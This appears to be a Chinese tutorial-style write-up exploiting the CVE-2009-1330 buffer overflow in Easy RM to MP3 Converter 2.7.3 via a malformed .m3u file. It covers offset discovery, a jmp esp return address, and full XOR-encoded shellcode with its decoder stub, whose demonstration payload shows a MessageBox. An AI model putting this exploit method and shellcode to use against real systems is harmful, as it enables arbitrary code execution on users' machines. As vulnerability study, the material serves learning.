软件名称:Easy RM to MP3 Converter
软件版本:2.7.3
漏洞模块:PM2MP3Converter.exe
操作系统:Windows 7\sp1\x86
漏洞编号:CVE-2009-1330
危害等级:中危
漏洞类型:缓冲区溢出
威胁类型:本地
Easy RM to MP3 Converter为05-06年流行的支持常用音频格式文件MP3, WMA, WAV, OGG等之间的转换,软件界面如图1所示:
图1软件界面说明图
Easy RM to MP3 Converter(version 2。7。3。700) 加载畸形过长的。m3u文件时触发缓冲区溢出。
3.1 制造缓冲区溢出
新建文件后置名为.m3u(1.m3u)Application打开===》RM2MP3Converter.exe打开这个
然后在Application中新建一个新建文本文档.m3u(因为CVE有这个漏洞所以要建立一个后缀名为.m3u),溢出的漏洞(1.3u)的大小:一般是30k--50k的大小f否则会出现以下图片包括30到50,大小如图2所示:
图2大小说明图
如果超过30-50k大小后,还没溢出那是空格(0E)、回车(0D)、换行(0A)问题,要用010edi修改 ctrl+a是010edit的替换,替换如图3所示:
图3替换说明图
出来异常的65656565,异常1如图4所示:
图4异常1说明图
A0A1A2A3A4A5A6A7A8A9B0B1B2B3B4B5B6B7B8B9C0C1C2C3C4C5C6C7D0D1D2D3D4D5D6D7DD9E0E1E2E3E4E5E6E7E8E9F0F1F2F3F4F5F6F7F8F9G0G1G2G3G4G5G6G7G8G9H0H1H2H3H4H5H6H7H8H9不断重复异常步骤,直到找到异常点,用这个来替换注意不能多出字节来异常结果如图5所示:
图5异常结果说明图
3.2 Jmp esp地址
jmp esp找到地址里面不能有00,搜索所有模块esp,jmp esp :70d0f0f1,esp如图6所示:
图6 esp说明图
3.3 处理加密shellcode
vs 写一个加密过的shellcode,加密如图7所示:
图7加密说明图
od中加密后代码,od加密如图8所示:
图8od加密说明图
/* Encode Key=0x07 */
char bShellcode[] = \
"\x67\x84\xEB\x27\xEC\x4A\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63" \
"\x75\x62\x74\x74\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E" \
"\x42\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A" \
"\x62\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57" \
"\x75\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\x36\x32\x57" \
"\x45\x26\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07" \
"\x8C\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x13\x07" \
"\x07\x07\x8C\xF7\x55\x8A\x4C\xBA\x56\x55\xF8\xD7\x5D\x54\x51\x57" \
"\x55\xEF\x69\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F" \
"\x8C\x75\x3B\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A" \
"\x3B\x3D\x8E\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79" \
"\x23\x8A\x3B\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C" \
"\x33\x81\x8C\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xA9\xBE\x09" \
"\x07\x07\x07\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B" \
"\x41\x8C\x52\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2" \
"\x5A\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCB" \
"\x6D\x07\x6D\x07\x56\xF8\x52\x0B\x8A\x4C\xD0\x56\x57\xF8\x52\x17" \
"\x8E\x42\xFB\x8A\x4C\xE4\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF" \
"\x8A\x4C\xE8\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52" \
"\xFF\x8C\xE2\x5A\xC5\x17\x07";
3.3 解密代码
解密代码,用od抠出来,解密如图9所示:
图9od解密说明图
char bshell1[]=\
{
0x33, 0xc0,
0xe8, 0xff, 0xff, 0xff, 0xff,
0xc3,
0x58,
0x8d, 0x70, 0x1b,
0x33, 0xc9,
0x66, 0xb9, 0x11, 0x03,
0x8a, 0x04, 0x0e,
0x34, 0x02,
0x88, 0x04, 0x0e,
0xe2, 0xf6,
0x80, 0x34, 0x0e, 0x07,
0xff, 0xe6};
3.4 结果
用010edit写,第一个是jmp esp地址,4个90是跳板(可能存在少了一个字节),解密shellcode,加密shelloce(要把DE改为90与7异或==97),edit如图10所示:
图10edit说明图
运行结果,弹出个MessageBox图片,结果如图11所示:
图11结果说明图
要先准备一段加密的shellcode,解密shellcode,都要用vs编写,用od抠出来,注意加密解密秘钥要相同,shellcode的大小要一样,找溢出点通过sublime_text这个工具切一半再精确,sublime_text这个要和虚拟机版本一样,颜色深度代表里面输入的字符串不同。
[1] 《高端调试》张银奎 著
[2] 《0day安全:软件漏洞分析技术(第2版)》 王清 著